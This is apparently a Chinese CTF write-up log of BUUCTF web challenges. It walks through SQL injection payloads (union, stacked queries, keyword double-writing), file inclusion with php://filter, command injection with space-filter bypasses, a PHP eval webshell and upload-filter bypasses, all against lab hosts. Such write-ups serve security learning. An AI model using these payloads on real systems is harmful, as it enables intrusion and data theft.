Buu做题日志 web1

[极客大挑战 2019]EasySQL

一般解法

实际上这道题是登录成功就可以拿到flag

在用户名和密码都填:

payload:' or 1=1

由于用户名和密码都存在sql注入漏洞,可以用'闭合前面的查询语句同时用or绕过判断

正常解法

测试简单注入语句

有报错回显

所以密码框存在注入,可以用’闭合

当输入2”时,正常返回密码错误

接下来用%23作注释符,可以得到页面正常。

sql中用#作为注释,这是用get传递数据,用url编码一下就是%23

然后开始查有多少字段

测试到3的时候发现可以正常显示了,说明前面的查询字段有3个

构造语句,开始查当前数据库

Payload:username=1&password=1’ union select null,null,(select database()) %23

有三个查询字段,所以union 后面的语句填充两个null,和一个查当前库的语句

查到数据库就已经爆出flag

[HCTF 2018]WarmUp

打开题目一个滑稽,F12里有一个source.php,进去就是源码

/index.php?file=hint.php是一个文件包含,source.php为Index.php的源代码,得到提示,Flag在ffffllllaaaagggg里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page) 
        //传入了变量page,也就是我们刚刚传进来的file
        {
        // 这里定义了白名单
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
            /*为了返回 true 两个条件必须满足
            1 page存在 
            2 page是字符串 ,
            这里和外层的判断file 一致基本是再次判断了一遍*/
                echo "you can't see it";
                return false;
            }
            if (in_array($page, $whitelist)) {
                return true;
            }
/*in_array(search,array,type) 函数搜索数组中是否存在指定的值,
白名单过滤,需要返回了ture
所以这里我们传入的page或者是经过截断之后的page必须是soure.php或hint.php,
这里是正常的访问,我们需要构造文件任意包含,所以这里传入的不满足条件,这里不是注意的点,往下继续看*/
            $_page = mb_substr( 
                $page,
                0,
                mb_strpos($page . '?',  '?')
            );
/*这里mb_sustr 是个截断,返回0到mb_strpos之间的内容,而mb_strps 则是查找第一次出现的位置,所以基本可以理解为获取page 两个?之间的字符串,也就是获取file两个?之间的字符串,放到url中就是http://ip/?file=ddd?中的file=ddd*/            
            if (in_array($_page, $whitelist)) { 
                return true;
            }
            //这里和上面类似 查看_page 是否在白名单中
            $_page = urldecode($page); // 这里发现对_page进行了一次decode解码,
            $_page = mb_substr(//获取两个??之间的内容
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            // 这里是我们要绕过的点,从这里往上看 尝试构造
            if (in_array($_page, $whitelist)) {//白名单
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }
/*必须满足if条件,才能包含file,这里也可以猜到可能考的是文件包含: 
1 REQUEST['file']不为空 
2 REQUEST['file']是字符串 
3 checkFile($_REQUEST['file']) 为ture,回到checkFile 函数分析如何返回true*/    
?>

可以看到函数代码中有四个if语句
第一个if语句对变量进行检验,要求$page为字符串,否则返回false
第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
所以我们的payload 就是
file=source.php?file=source.php%253f../../../../../ffffllllaaaagggg

构造payload:file=source.php/?file=source.php%253f../../../../ffffllllaaaagggg
访问即是flag

[极客大挑战 2019]Havefun

打开题目链接我们可以看到只是一个静态页面,就连可以点的东西都没有    

F12里有

1
2
3
4
5
6
7
  <!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->

传一个cat=dog就是flag了

[ACTF2020 新生赛]Include

用bp抓包,无其他猫腻,查看响应头得到 ==> php7.3.13,url?file=flag.php

考虑到题目名字为了Include就是文件包含

考察利用php://filter伪协议进行文件包含

构造payload=url/?file=php://filter/read=convert.base64-encode/resource=flag.php

解码后就是flag

[强网杯 2019]随便注

测试 1’ or 1=1 # ,初步判定存在SQL注入。

1
1' or 1=1 #

再测试字段数,到3时报错,说明字段数为2.

1
1' order by 1 # 

接着尝试union注入,回显了过滤的关键字。
图片

然后就是“堆叠注入”了。原理很简单,就是通过 ; 号注入多条SQL语句。先通过show databases爆出数据库。

1
0'; show databases; #

然后用 show tables 尝试爆表

1
0'; show tables; #

可以看到这里有两个表,我们先尝试爆words表的内容。

1
1'; show columns from words; #

然后报表 1919810931114514 的内容。这里学到一个新知识点,表名为数字时,要用反引号包起来查询。

1
0'; show columns from `1919810931114514 `; #

可以发现爆出来了flag字段,但是不能查看就去看了下WP

解题思路1:

1,通过 rename 先把 words 表改名为其他的表名。

2,把 1919810931114514 表的名字改为 words 。

3 ,给新 words 表添加新的列名 id 。

4,将 flag 改名为 data 。

1
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alert table words change flag data varchar(100);#

解题思路2:

因为select被过滤了,所以先将select * from 1919810931114514进行16进制编码

再通过构造payload得

1
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

进而得到flag
prepare…from…是预处理语句,会进行编码转换。

execute用来执行由SQLPrepare创建的SQL语句。

SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

解题思路3

1
1'; handler `1919810931114514` open as `a`; handler `a` read next;#

知识点总结:

show

在过滤了 select 和 where 的情况下,还可以使用 show 来爆出数据库名,表名,和列名。

1
2
3
show datebases; //数据库。
show tables; //表名。
show columns from table; //字段。

alert
作用:修改已知表的列。( 添加:add | 修改:alert,change | 撤销:drop )

1
2
3
4
5
alter table " table_name" add " column_name"  type;#添加一个列
alter table " table_name" drop " column_name"  type;#删除一个列
alter table " table_name" alter column " column_name" type;#改变列的数据类型
alter table " table_name" change " column1" " column2" type;#改列名
alter table "table_name" rename "column1" to "column2";

SQL约束 (规定表中数据的规则)
not null- 指示某列不能存储 NULL 值。

1
2
alter table persons modify age int not null;//设置 not null 约束 。
alter table person modify age int null;//取消 null 约束。

primary key - NOT NULL 和 UNIQUE 的结合。指定主键,确保某列(或多个列的结合)有唯一标识,每个表有且只有一个主键。

1
2
3
alter table persons add age primary key (id)
unique -保证某列的每行必须有唯一的值。(注:可以有多个 UNIQUE 约束,只能有一个 PRIMARY KEY 约束。 )
alter table person add unique (id);//增加unique约束。

check-限制列中值的范围。

1
alter table person add check (id>0);

default-规定没有给列赋值时的默认值。

1
2
alter table person alter city set default 'chengdu' ;//mysql
alter table person add constraint ab_c default 'chengdu' for city;//SQL Server / MS Access

auto_increment-自动赋值,默认从1开始。
foreign key-保证一个表中的数据匹配另一个表中的值的参照完整性。

[SUCTF 2019]EasySQL

经过一系列的输入测试发现,输入数字时会显示 Array ( [0] => 1 )

而输入0则不显示

但输入flag会提示 Nonono. 那么它内部到底是一个怎么样的呢?

我们猜测它有一个 ||符号,因为当我们输入数字时被当成常量一直输出1,当我们输入带有字母时会被当做一个变量(列)而又无法找到,所以报错(没有回显),而输入带有”flag“的字符串都会弹出 Nonono. 说明过滤了“flag”这几个字符(后面发现,不区分大小写都过滤了)

2,我们尝试使用,堆叠注入,可以显示出有flag字段,但是因为过滤了“flag”几个字符所以行不通。

3,最后查看网上wp发现后台的语法可能是

1
select.POST['参数'] || flag from flag

因此可以输入*,1 来显示全部内容:
4,考核的知识点描述:

1,此题我们需要运用堆叠注入,和mysql中的 || 符号的意思及如何改变,还有mysql中的sql_mode模式的概念了解。

2,mysql服务器可以在不同的sql_mode模式下运行,并且可以根据sql_mode系统变量的值,为不同的客户机应用不同的模式。sql_mode会影响mysql支持的sql语法,并且会执行数据验证检查;

3,在Oracle,用 || 连接字符串的,而在mysql,是用CONCAT来实现的。mysql为了兼容这一个特性,设置了PIPES_AS_CONCAT模式,mysql会将 || 视为字符串的连接操作符而非 或 运算符。具体命令为:set sql_mode=PIPES_AS_CONCAT;

补充知识

1
2
sql_mode:是一组mysql支持的基本语法及校验规则
PIPES_AS_CONCAT:将“||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样的,也和字符串的拼接函数Concat相类似
1
2
当 sql_mode 设置了  PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数

关于MYSQL的sql_mode解析与设置
ONLY_ FULL_ GROUP_B:如果在SELECT中的列,没有在GROUP BY中出现,那么将 认为这个SQL是不合法的,因为列不在GROUP BY从句中,因为这个设置的存在,我们对于group by的用法只能是类似于select * from users group by id ;并且只能展示group by的字段,要是带有其他字段便会报错。

对这种状态进行修改:

1
2
set sql_mode=(select replace  (@@sql_mode,'ONLY_FULL_GROUP_BY','')); 可以使用该语句来将空格替换掉only_full_group_by

STRICTTRANSTABLES:在该模式下,如果一个值不能插入到一个事务表中,则中断当前的操作,对非事务表不做任何限制。
NOZERODATE:在严格模式,不要将 ‘0000-00-00’做为合法日期。你仍然可以用IGNORE选项插入零日期。在非严格模式,可以接受该日期,但会生成警告。

ERRORFORDIVISIONBYZERO:在严格模式,在INSERT或UPDATE过程中,如果被零除(或MOD(X,0)),则产生错误(否则为警告)。如果未给出该模式,被零除时MySQL返回NULL。如果用到INSERT IGNORE或UPDATE IGNORE中,MySQL生成被零除警告,但操作结果为NULL。

NOAUTOCREATE_USER:防止GRANT自动创建新用户,除非还指定了密码。

ANSIQUOTES:启用ANSIQUOTES后,不能用双引号来引用字符串,因为它被解释为识别符。

PIPESASCONCAT:将”||”视为字符串的连接操作符而非或运算符,这和Oracle数据库是一样是,也和字符串的拼接函数Concat想类似。

[ACTF2020 新生赛]Exec

知识点

没有过滤,利用常见管道符命令执行

1、|(就是按位或),直接执行|后面的语句

2、||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3、&(就是按位与),&前面和后面命令都要执行,无论前面真假

4、&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5、; 前后都执行,无论前面真假,同&,(linux也有)

解题:

1
2
127.0.0.1|ls
index.php

从根目录开始找flag,耗时长

1
2
3
4
127.0.0.1 | find / -name flag
/flag

127.0.0.1 & cat /flag

[极客大挑战 2019]Secret File

知识点:

  • 前端中背景可以覆盖内容,页面源代码可以查看完整的html

  • 在php文件中可以写入html代码,html可在前端展示出来,php代码主要是处理数据,通常不会展示。

  • 文件包含漏洞,PHP伪协议获取文件
    php://filter 是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 这对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(), 在数据流内容读取之前没有机会应用其他过滤器。

    环境概要:

PHP.ini:

allow_url_fopen :on 默认开启 该选项为on便是激活了 URL 形式的 fopen 封装协议使得可以访问 URL 对象文件等。

allow_url_include:off 默认关闭,该选项为on便是允许 包含URL 对象文件等。

打开链接

 访问Archive_room.php,发现又给出了提示:我把他们都放在这里了,去看看吧。还有一个类似button一样的东西,查看审查元素可知是action.php,我们点进去。

访问action.php立即跳转到了end.php,并且页面显示的是:查阅结束 没看清么?回去再仔细看看吧。我们可以猜测action.php访问时间很短,时间一到立即跳转到end.php。为了拦截action.php,我们可以使用BrupSuite来抓包。

访问secr3t.php,页面显示了php代码
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
发现这里有一个文件包含漏洞,但是在这里好像没什么用,因为我们还不确定存在flag的文件。根据代码的注释内容,访问flag.php。又出现提示:啊哈!你找到我了!可是你看不到我QAQ~~~ 我就在这里。
传入的file经过了一些过滤,但是没有过滤filter,我们可以用php://fileter来获取文件。构造url:url[/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php](http://00b5c733-809a-4aed-a498-27d306b09452.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php))

解密base64即可

[GXYCTF2019]Ping Ping Ping

图片

那就放在URL里尝试吧

/?ip=127.0.0.1

有明显的的回显结果

  1. 构造如下 payload
    1
    /?ip=127.0.0.1|ls
    有结果,得到文件名称
    图片
1
?ip=1|cat flag.php

发现空格被过滤
绕过空格

1
2
3
4
5
6
7
8
$IFS
${IFS}
$IFS$1 //1 改 成 1改成1改成加其他数字貌似都行
<
<>
{cat,flag.php} //用逗号实现了空格功能
%20
%09

注意:
有时 cat 可能被过滤,那么尝试用 tac,反向输出;或者 linux命令中可以加 \,所以甚至可以 ca\t /fl\ag

知道了空格的绕过方法,逐个尝试,构造如下 payload

1
/?ip=1|cat$IFS$1flag.php

过滤了flag
 查看 index.php 看能否得到些许有用信息,构造 payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/?ip=1|cat$IFS$1index.php
?ip=
<pre>/?ip=
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}
?>

进行代码审计,发现过滤很多标点,空格,bash以及flag的贪婪匹配,,,,,那么常规访问 flag.php 的方法肯定行不通,代码中有个 $a 考虑进行变量覆盖,构造如下 payload

1
2
3
/?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
//或者
?ip=1;a=f;d=ag;c=l;cat$IFS$a$c$d.php

查看右键源码即可有flag
官方给出 payload 为

1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

即先对 cat flag.php 进行base64 加密,过滤 bash ,那就用 sh
还有另外一种方法:内联执行

使用 `` 代替 | ,将反引号内命令的输出作为输入执行,即

1
/?ip=2.2.2.2;cat$IFS$1`ls`

知识点:

  • 命令执行变量拼接
  • 过滤 bash 用 sh 执行
  • 内联执行,将反引号内命令的输出作为输入执行
  • 空格绕过姿势
  • 代码审计能力
  • 熟悉 Linux 命令的使用方法,管道等

    [极客大挑战 2019]LoveSQL

直接万能密码,登陆成功

登陆成功,看了一下url,是以get方式进行传参。先在username处测试一下有没有注入点:

?username=1' order by 1%23&password=ads

没有报错,只是说账号密码错误。直到order by 4的时候,报错了:

判断出有三个字段,接下来开始寻找注入点:

?username=1' union select 1,2,3%23&password=ads

很明显,2和3都是注入点,而且没有过滤,接下来直接写命令了。

1
?username=1' union select 1,database(),3%23&password=ads

得到数据库名:geek!

1
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=ads

得到表名geekuser,l0ve1ysq1

1
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=ads

得到字段名id,username,password

1
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=ads

flag出来了~~

[极客大挑战 2019]Knife

看到题目 knife 第一反应 猜测可能是中国菜刀题

1
eval($_POST["Syc"]);

这是一个典型的后门程序
有的字符串放入到eval当中,eval会把字符串解析为php代码来进行执行,那么结合$_POST[‘posha’]的话,只要使用post传输时在name为posha的值中写入任何字符串,都可以当做php代码来执行。

用蚁剑复制URL并填入密码,连上查看根目录就是flag

[极客大挑战 2019]Http

进入环境找到secret.php

1
2
我们需要修改header头,把https://www.Sycsecret.com写进去,复制一个头文件,添加关键的一行
Referer:https://www.Sycsecret.com

随后提示我们浏览器需要使用Syclover,向头里面添加一行,也就是修改一下User-Agent的内容
它说我们只能在本地访问,那么意思就是要我们使用127.0.0.1来访问,那么我们来添加一行

1
X-Forwarded-For:127.0.0.1

接下来就是flag

[极客大挑战 2019]Upload

从页面上来看是上传一个图片文件,但是不知道是怎样检查的,要先试一试

一般可以检查的地方有:后缀名、content-type、文件头的部分内容

先上传一个php,不做任何修改

接下来试一下phtml+修改content-type

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

也许文件头也检查了,那就加上GIF89a

测试出来大概就是,后缀名可以是phtml,会检查content-type,文件头的部分,以及<?

所以最后的木马:

蚁剑连上就是flag

[ACTF2020 新生赛]Upload

打开之后啥也没有,鼠标放在中间的灯上面发现有文件上传的地方,猜测是一个文件上传漏洞

先随便上传一个文件,发现提示

 并且bp抓包并没有抓到包,说明为前端检测过滤。

那就上传jpg,png,gif这三种类型的文件,然后bp抓包在修改后缀为php。

先上传一个jpg文件,内容为

 发现后端还是进行了检查过滤

那就试试其他几种后缀:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
绕过后缀的有文件格式有php,php3,php4,php5,phtml.pht,这些后缀名都可以被当做php文件执行(需要配置文件里面的支持)

1、例如Apache的 httpd.conf 中有如下配置代码:

AddType application/x-httpd-php .php .phtml .phps .php5 .pht

2、或者.htaccess文件内容:

SetHandler application/x-httpd-php

意思是设置当前所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当做PHP执行。不符合则报错。

phtml一般是指嵌入了php代码的html文件,但是同样也会作为php解析

PHT文件是一个HTML页面,其中包括一个PHP脚本

发现只有phtml满足绕过并且能够执行php代码
 访问这个文件

将将文件内容改成重新上传

ps:这题不能上传.htaccess文件,因为上传文件后会修改文件名。

[RoarCTF 2019]Easy Calc

题目打开查看源码

.ajax是指通过http请求加载远程数据。

可以发现有一个calc.php,输入的算式会被传入到这个php文件里,尝试一下能不能打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

foreach 语法结构提供了遍历数组的简单方式。
语法:

1
2
3
4
foreach (array_expression as $value)
statement
foreach (array_expression as $key => $value)
statement

在这道题里,会对黑名单中的每一个值都拿出来连接成正则表达式的字符串,/m表示多行查找
其他几个参数:

1
2
3
4
5
/i (忽略大小写)
/g (全文查找出现的所有匹配字符)
/m (多行查找)
/gi(全文查找、忽略大小写)
/ig(全文查找、忽略大小写)

了解一下php的解析规则,当php进行解析的时候,如果变量前面有空格,会去掉前面的空格再解析
而这里黑名单过滤,没有过滤这种情况,那么久可以构造一个查询语句了

? num=1;var_dump(scandir(chr(47)))

scandir(/)可以查看目录,用chr()来绕过waf,注意在calc.php页面提交

可以看到一个f1agg,打开这个文件就好

1
payload:? num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

即可看到flag

[极客大挑战 2019]BabySQL

select union or and where from 都被过滤了,采取双写绕过

比如:seselectlect这种形式

1
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3 %23&password=1111
1
2
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_name = 'b4bsql'),3 %23&password=1111

1
2
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111
http://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(seselectlect group_concat(passwoorrd) frfromom b4bsql),3 %23&password=1111

以上payload依次输入即可得到flag